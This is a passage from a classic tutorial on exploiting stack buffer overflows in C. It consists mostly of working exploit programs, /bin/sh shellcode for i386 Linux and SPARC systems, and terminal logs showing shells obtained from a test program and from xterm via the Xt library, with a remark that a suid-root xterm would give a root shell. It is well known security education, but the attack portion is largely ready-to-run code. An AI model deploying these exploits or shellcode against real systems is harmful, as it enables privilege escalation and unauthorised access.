903 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
904 "\x80\xe8\xdc\xff\xff\xff/bin/sh";
906 char large_string[128];
908 void main() {
909 char buffer[96];
910 int i;
911 long *long_ptr = (long *) large_string;
913 for (i = 0; i < 32; i++)
914 *(long_ptr + i) = (int) buffer;
916 for (i = 0; i < strlen(shellcode); i++)
917 large_string[i] = shellcode[i];
919 strcpy(buffer,large_string);
920 }
921 ------------------------------------------------------------------------------
923 ------------------------------------------------------------------------------
924 [aleph1]$ gcc -o exploit1 exploit1.c
925 [aleph1]$ ./exploit1
926 $ exit
927 exit
928 [aleph1]$
929 ------------------------------------------------------------------------------
931 What we have done above is filled the array large_string[] with the
932 address of buffer[], which is where our code will be. Then we copy our
933 shellcode into the beginning of the large_string string. strcpy() will then
934 copy large_string onto buffer without doing any bounds checking, and will
935 overflow the return address, overwriting it with the address where our code
936 is now located. Once we reach the end of main and it tried to return it
937 jumps to our code, and execs a shell.
939 The problem we are faced when trying to overflow the buffer of another
940 program is trying to figure out at what address the buffer (and thus our
941 code) will be. The answer is that for every program the stack will
942 start at the same address. Most programs do not push more than a few hundred
943 or a few thousand bytes into the stack at any one time. Therefore by knowing
944 where the stack starts we can try to guess where the buffer we are trying to
945 overflow will be. Here is a little program that will print its stack
946 pointer:
948 sp.c
949 ------------------------------------------------------------------------------
950 unsigned long get_sp(void) {
951 __asm__("movl %esp,%eax");
952 }
953 void main() {
954 printf("0x%x\n", get_sp());
955 }
956 ------------------------------------------------------------------------------
958 ------------------------------------------------------------------------------
959 [aleph1]$ ./sp
960 0x8000470
961 [aleph1]$
962 ------------------------------------------------------------------------------
964 Lets assume this is the program we are trying to overflow is:
966 vulnerable.c
967 ------------------------------------------------------------------------------
968 void main(int argc, char *argv[]) {
969 char buffer[512];
971 if (argc > 1)
972 strcpy(buffer,argv[1]);
973 }
974 ------------------------------------------------------------------------------
976 We can create a program that takes as a parameter a buffer size, and an
977 offset from its own stack pointer (where we believe the buffer we want to
978 overflow may live). We'll put the overflow string in an environment variable
979 so it is easy to manipulate:
981 exploit2.c
982 ------------------------------------------------------------------------------
983 #include <stdlib.h>
985 #define DEFAULT_OFFSET 0
986 #define DEFAULT_BUFFER_SIZE 512
988 char shellcode[] =
989 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
990 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
991 "\x80\xe8\xdc\xff\xff\xff/bin/sh";
993 unsigned long get_sp(void) {
994 __asm__("movl %esp,%eax");
995 }
997 void main(int argc, char *argv[]) {
998 char *buff, *ptr;
999 long *addr_ptr, addr;
1000 int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
1001 int i;
1003 if (argc > 1) bsize = atoi(argv[1]);
1004 if (argc > 2) offset = atoi(argv[2]);
1006 if (!(buff = malloc(bsize))) {
1007 printf("Can't allocate memory.\n");
1008 exit(0);
1009 }
1011 addr = get_sp() - offset;
1012 printf("Using address: 0x%x\n", addr);
1014 ptr = buff;
1015 addr_ptr = (long *) ptr;
1016 for (i = 0; i < bsize; i+=4)
1017 *(addr_ptr++) = addr;
1019 ptr += 4;
1020 for (i = 0; i < strlen(shellcode); i++)
1021 *(ptr++) = shellcode[i];
1023 buff[bsize - 1] = '\0';
1025 memcpy(buff,"EGG=",4);
1026 putenv(buff);
1027 system("/bin/bash");
1028 }
1029 ------------------------------------------------------------------------------
1031 Now we can try to guess what the buffer and offset should be:
1033 ------------------------------------------------------------------------------
1034 [aleph1]$ ./exploit2 500
1035 Using address: 0xbffffdb4
1036 [aleph1]$ ./vulnerable $EGG
1037 [aleph1]$ exit
1038 [aleph1]$ ./exploit2 600
1039 Using address: 0xbffffdb4
1040 [aleph1]$ ./vulnerable $EGG
1041 Illegal instruction
1042 [aleph1]$ exit
1043 [aleph1]$ ./exploit2 600 100
1044 Using address: 0xbffffd4c
1045 [aleph1]$ ./vulnerable $EGG
1046 Segmentation fault
1047 [aleph1]$ exit
1048 [aleph1]$ ./exploit2 600 200
1049 Using address: 0xbffffce8
1050 [aleph1]$ ./vulnerable $EGG
1051 Segmentation fault
1052 [aleph1]$ exit
1053 .
1054 .
1055 .
1056 [aleph1]$ ./exploit2 600 1564
1057 Using address: 0xbffff794
1058 [aleph1]$ ./vulnerable $EGG
1059 $
1060 ------------------------------------------------------------------------------
1062 As we can see this is not an efficient process. Trying to guess the
1063 offset even while knowing where the beginning of the stack lives is nearly
1064 impossible. We would need at best a hundred tries, and at worst a couple of
1065 thousand. The problem is we need to guess *exactly* where the address of our
1066 code will start. If we are off by one byte more or less we will just get a
1067 segmentation violation or a invalid instruction. One way to increase our
1068 chances is to pad the front of our overflow buffer with NOP instructions.
1069 Almost all processors have a NOP instruction that performs a null operation.
1070 It is usually used to delay execution for purposes of timing. We will take
1071 advantage of it and fill half of our overflow buffer with them. We will place
1072 our shellcode at the center, and then follow it with the return addresses. If
1073 we are lucky and the return address points anywhere in the string of NOPs,
1074 they will just get executed until they reach our code. In the Intel
1075 architecture the NOP instruction is one byte long and it translates to 0x90
1076 in machine code. Assuming the stack starts at address 0xFF, that S stands for
1077 shell code, and that N stands for a NOP instruction the new stack would look
1078 like this:
1080 bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
1081 memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
1082 buffer sfp ret a b c
1084 <------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
1085 ^ |
1086 |_____________________|
1087 top of bottom of
1088 stack stack
1090 The new exploits is then:
1092 exploit3.c
1093 ------------------------------------------------------------------------------
1094 #include <stdlib.h>
1096 #define DEFAULT_OFFSET 0
1097 #define DEFAULT_BUFFER_SIZE 512
1098 #define NOP 0x90
1100 char shellcode[] =
1101 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
1102 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
1103 "\x80\xe8\xdc\xff\xff\xff/bin/sh";
1105 unsigned long get_sp(void) {
1106 __asm__("movl %esp,%eax");
1107 }
1109 void main(int argc, char *argv[]) {
1110 char *buff, *ptr;
1111 long *addr_ptr, addr;
1112 int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
1113 int i;
1115 if (argc > 1) bsize = atoi(argv[1]);
1116 if (argc > 2) offset = atoi(argv[2]);
1118 if (!(buff = malloc(bsize))) {
1119 printf("Can't allocate memory.\n");
1120 exit(0);
1121 }
1123 addr = get_sp() - offset;
1124 printf("Using address: 0x%x\n", addr);
1126 ptr = buff;
1127 addr_ptr = (long *) ptr;
1128 for (i = 0; i < bsize; i+=4)
1129 *(addr_ptr++) = addr;
1131 for (i = 0; i < bsize/2; i++)
1132 buff[i] = NOP;
1134 ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
1135 for (i = 0; i < strlen(shellcode); i++)
1136 *(ptr++) = shellcode[i];
1138 buff[bsize - 1] = '\0';
1140 memcpy(buff,"EGG=",4);
1141 putenv(buff);
1142 system("/bin/bash");
1143 }
1144 ------------------------------------------------------------------------------
1146 A good selection for our buffer size is about 100 bytes more than the size
1147 of the buffer we are trying to overflow. This will place our code at the end
1148 of the buffer we are trying to overflow, giving a lot of space for the NOPs,
1149 but still overwriting the return address with the address we guessed. The
1150 buffer we are trying to overflow is 512 bytes long, so we'll use 612. Let's
1151 try to overflow our test program with our new exploit:
1153 ------------------------------------------------------------------------------
1154 [aleph1]$ ./exploit3 612
1155 Using address: 0xbffffdb4
1156 [aleph1]$ ./vulnerable $EGG
1157 $
1158 ------------------------------------------------------------------------------
1160 Whoa! First try! This change has improved our chances a hundredfold.
1161 Let's try it now on a real case of a buffer overflow. We'll use for our
1162 demonstration the buffer overflow on the Xt library. For our example, we'll
1163 use xterm (all programs linked with the Xt library are vulnerable). You must
1164 be running an X server and allow connections to it from the localhost. Set
1165 your DISPLAY variable accordingly.
1167 ------------------------------------------------------------------------------
1168 [aleph1]$ export DISPLAY=:0.0
1169 [aleph1]$ ./exploit3 1124
1170 Using address: 0xbffffdb4
1171 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
1172 Warning: Color name
1173 [aleph1]$ exit
1174 [aleph1]$ ./exploit3 2148 100
1175 Using address: 0xbffffd48
1176 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
1177 Warning: Color name
1178 Warning: some arguments in previous message were lost
1179 Illegal instruction
1180 [aleph1]$ exit
1181 .
1182 .
1183 .
1184 [aleph1]$ ./exploit4 2148 600
1185 Using address: 0xbffffb54
1186 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
1187 Warning: Color name
1188 Warning: some arguments in previous message were lost
1189 bash$
1190 ------------------------------------------------------------------------------
1192 Eureka! Less than a dozen tries and we found the magic numbers. If xterm
1193 where installed suid root this would now be a root shell.
1195 Small Buffer Overflows
1196 ~~~~~~~~~~~~~~~~~~~~~~
1198 There will be times when the buffer you are trying to overflow is so
1199 small that either the shellcode wont fit into it, and it will overwrite the
1200 return address with instructions instead of the address of our code, or the
1201 number of NOPs you can pad the front of the string with is so small that the
1202 chances of guessing their address is minuscule. To obtain a shell from these
1203 programs we will have to go about it another way. This particular approach
1204 only works when you have access to the program's environment variables.
1206 What we will do is place our shellcode in an environment variable, and
1207 then overflow the buffer with the address of this variable in memory. This
1208 method also increases your changes of the exploit working as you can make
1209 the environment variable holding the shell code as large as you want.
1211 The environment variables are stored in the top of the stack when the
1212 program is started, any modification by setenv() are then allocated
1213 elsewhere. The stack at the beginning then looks like this:
1215 <strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>
1217 Our new program will take an extra variable, the size of the variable
1218 containing the shellcode and NOPs. Our new exploit now looks like this:
1220 exploit4.c
1221 ------------------------------------------------------------------------------
1222 #include <stdlib.h>
1224 #define DEFAULT_OFFSET 0
1225 #define DEFAULT_BUFFER_SIZE 512
1226 #define DEFAULT_EGG_SIZE 2048
1227 #define NOP 0x90
1229 char shellcode[] =
1230 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
1231 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
1232 "\x80\xe8\xdc\xff\xff\xff/bin/sh";
1234 unsigned long get_esp(void) {
1235 __asm__("movl %esp,%eax");
1236 }
1238 void main(int argc, char *argv[]) {
1239 char *buff, *ptr, *egg;
1240 long *addr_ptr, addr;
1241 int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
1242 int i, eggsize=DEFAULT_EGG_SIZE;
1244 if (argc > 1) bsize = atoi(argv[1]);
1245 if (argc > 2) offset = atoi(argv[2]);
1246 if (argc > 3) eggsize = atoi(argv[3]);
1248 if (!(buff = malloc(bsize))) {
1249 printf("Can't allocate memory.\n");
1250 exit(0);
1251 }
1252 if (!(egg = malloc(eggsize))) {
1253 printf("Can't allocate memory.\n");
1254 exit(0);
1255 }
1257 addr = get_esp() - offset;
1258 printf("Using address: 0x%x\n", addr);
1260 ptr = buff;
1261 addr_ptr = (long *) ptr;
1262 for (i = 0; i < bsize; i+=4)
1263 *(addr_ptr++) = addr;
1265 ptr = egg;
1266 for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
1267 *(ptr++) = NOP;
1269 for (i = 0; i < strlen(shellcode); i++)
1270 *(ptr++) = shellcode[i];
1272 buff[bsize - 1] = '\0';
1273 egg[eggsize - 1] = '\0';
1275 memcpy(egg,"EGG=",4);
1276 putenv(egg);
1277 memcpy(buff,"RET=",4);
1278 putenv(buff);
1279 system("/bin/bash");
1280 }
1281 ------------------------------------------------------------------------------
1283 Lets try our new exploit with our vulnerable test program:
1285 ------------------------------------------------------------------------------
1286 [aleph1]$ ./exploit4 768
1287 Using address: 0xbffffdb0
1288 [aleph1]$ ./vulnerable $RET
1289 $
1290 ------------------------------------------------------------------------------
1292 Works like a charm. Now lets try it on xterm:
1294 ------------------------------------------------------------------------------
1295 [aleph1]$ export DISPLAY=:0.0
1296 [aleph1]$ ./exploit4 2148
1297 Using address: 0xbffffdb0
1298 [aleph1]$ /usr/X11R6/bin/xterm -fg $RET
1299 Warning: Color name
1300 "
1321 Warning: some arguments in previous message were lost
1322 $
1323 ------------------------------------------------------------------------------
1325 On the first try! It has certainly increased our odds. Depending how
1326 much environment data the exploit program has compared with the program
1327 you are trying to exploit the guessed address may be to low or to high.
1328 Experiment both with positive and negative offsets.
1330 Finding Buffer Overflows
1331 ~~~~~~~~~~~~~~~~~~~~~~~~
1333 As stated earlier, buffer overflows are the result of stuffing more
1334 information into a buffer than it is meant to hold. Since C does not have any
1335 built-in bounds checking, overflows often manifest themselves as writing past
1336 the end of a character array. The standard C library provides a number of
1337 functions for copying or appending strings, that perform no boundary checking.
1338 They include: strcat(), strcpy(), sprintf(), and vsprintf(). These functions
1339 operate on null-terminated strings, and do not check for overflow of the
1340 receiving string. gets() is a function that reads a line from stdin into
1341 a buffer until either a terminating newline or EOF. It performs no checks for
1342 buffer overflows. The scanf() family of functions can also be a problem if
1343 you are matching a sequence of non-white-space characters (%s), or matching a
1344 non-empty sequence of characters from a specified set (%[]), and the array
1345 pointed to by the char pointer, is not large enough to accept the whole
1346 sequence of characters, and you have not defined the optional maximum field
1347 width. If the target of any of these functions is a buffer of static size,
1348 and its other argument was somehow derived from user input there is a good
1349 posibility that you might be able to exploit a buffer overflow.
1351 Another usual programming construct we find is the use of a while loop to
1352 read one character at a time into a buffer from stdin or some file until the
1353 end of line, end of file, or some other delimiter is reached. This type of
1354 construct usually uses one of these functions: getc(), fgetc(), or getchar().
1355 If there is no explicit checks for overflows in the while loop, such programs
1356 are easily exploited.
1358 To conclude, grep(1) is your friend. The sources for free operating
1359 systems and their utilities is readily available. This fact becomes quite
1360 interesting once you realize that many comercial operating systems utilities
1361 where derived from the same sources as the free ones. Use the source d00d.
1363 Appendix A - Shellcode for Different Operating Systems/Architectures
1365 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1367 i386/Linux
1368 ------------------------------------------------------------------------------
1369 jmp 0x1f
1370 popl %esi
1371 movl %esi,0x8(%esi)
1372 xorl %eax,%eax
1373 movb %eax,0x7(%esi)
1374 movl %eax,0xc(%esi)
1375 movb $0xb,%al
1376 movl %esi,%ebx
1377 leal 0x8(%esi),%ecx
1378 leal 0xc(%esi),%edx
1379 int $0x80
1380 xorl %ebx,%ebx
1381 movl %ebx,%eax
1382 inc %eax
1383 int $0x80
1384 call -0x24
1385 .string \"/bin/sh\"
1386 ------------------------------------------------------------------------------
1388 SPARC/Solaris
1389 ------------------------------------------------------------------------------
1390 sethi 0xbd89a, %l6
1391 or %l6, 0x16e, %l6
1392 sethi 0xbdcda, %l7
1393 and %sp, %sp, %o0
1394 add %sp, 8, %o1
1395 xor %o2, %o2, %o2
1396 add %sp, 16, %sp
1397 std %l6, [%sp - 16]
1398 st %sp, [%sp - 8]
1399 st %g0, [%sp - 4]
1400 mov 0x3b, %g1
1401 ta 8
1402 xor %o7, %o7, %o0
1403 mov 1, %g1
1404 ta 8
1405 ------------------------------------------------------------------------------
1407 SPARC/SunOS
1408 ------------------------------------------------------------------------------
1409 sethi 0xbd89a, %l6
1410 or %l6, 0x16e, %l6
1411 sethi 0xbdcda, %l7
1412 and %sp, %sp, %o0
1413 add %sp, 8, %o1
1414 xor %o2, %o2, %o2
1415 add %sp, 16, %sp
1416 std %l6, [%sp - 16]
1417 st %sp, [%sp - 8]
1418 st %g0, [%sp - 4]
1419 mov 0x3b, %g1
1420 mov -0x1, %l5
1421 ta %l5 + 1
1422 xor %o7, %o7, %o0
1423 mov 1, %g1
1424 ta %l5 + 1
1425 ------------------------------------------------------------------------------
1427 Appendix B - Generic Buffer Overflow Program
1428 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1430 shellcode.h
1431 ------------------------------------------------------------------------------
1432 #if defined(__i386__) && defined(__linux__)
1434 #define NOP_SIZE 1
1435 char nop[] = "\x90";
1436 char shellcode[] =
1437 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
1438 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
1439 "\x80\xe8\xdc\xff\xff\xff/bin/sh";
1441 unsigned long get_sp(void) {
1442 __asm__("movl %esp,%eax");
1443 }
1445 #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
1447 #define NOP_SIZE 4
1448 char nop[]="\xac\x15\xa1\x6e";
1449 char shellcode[] =
1450 "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
1451 "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
1452 "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
1453 "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
1455 unsigned long get_sp(void) {
1456 __asm__("or %sp, %sp, %i0");
1457 }
1459 #elif defined(__sparc__) && defined(__sun__)
1461 #define NOP_SIZE 4
1462 char nop[]="\xac\x15\xa1\x6e";
1463 char shellcode[] =
1464 "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
1465 "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
1466 "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
1467 "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
1469 unsigned long get_sp(void) {
1470 __asm__("or %sp, %sp, %i0");
1471 }
1473 #endif
1474 ------------------------------------------------------------------------------
1476 eggshell.c
1477 ------------------------------------------------------------------------------
1478 /*
1479 * eggshell v1.0
1480 *
1481 * Aleph One / aleph1@underground.org
1482 */
1483 #include <stdlib.h>
1484 #include <stdio.h>
1485 #include "shellcode.h"
1487 #define DEFAULT_OFFSET 0
1488 #define DEFAULT_BUFFER_SIZE 512
1489 #define DEFAULT_EGG_SIZE 2048
1491 void usage(void);
1493 void main(int argc, char *argv[]) {
1494 char *ptr, *bof, *egg;
1495 long *addr_ptr, addr;
1496 int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
1497 int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
1499 while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
1500 switch (c) {
1501 case 'a':
1502 align = atoi(optarg);
1503 break;
1504 case 'b':
1505 bsize = atoi(optarg);
1506 break;
1507 case 'e':
1508 eggsize = atoi(optarg);
1509 break;
1510 case 'o':
1511 offset = atoi(optarg);
1512 break;
1513 case '?':
1514 usage();
1515 exit(0);
1516 }
1518 if (strlen(shellcode) > eggsize) {
1519 printf("Shellcode is larger the the egg.\n");
1520 exit(0);
1521 }
1523 if (!(bof = malloc(bsize))) {
1524 printf("Can't allocate memory.\n");
1525 exit(0);
1526 }
1527 if (!(egg = malloc(eggsize))) {
1528 printf("Can't allocate memory.\n");
1529 exit(0);
1530 }
1532 addr = get_sp() - offset;
1533 printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
1534 bsize, eggsize, align);
1535 printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
1537 addr_ptr = (long *) bof;
1538 for (i = 0; i < bsize; i+=4)
1539 *(addr_ptr++) = addr;
1541 ptr = egg;
1542 for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
1543 for (n = 0; n < NOP_SIZE; n++) {
1544 m = (n + align) % NOP_SIZE;
1545 *(ptr++) = nop[m];
1546 }
1548 for (i = 0; i < strlen(shellcode); i++)
1549 *(ptr++) = shellcode[i];
1551 bof[bsize - 1] = '\0';
1552 egg[eggsize - 1] = '\0';
1554 memcpy(egg,"EGG=",4);
1555 putenv(egg);
1557 memcpy(bof,"BOF=",4);
1558 putenv(bof);
1559 system("/bin/sh");
1560 }
1562 void usage(void) {
1563 (void)fprintf(stderr,
1564 "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>]
1565 [-o <offset>]\n");
1566 }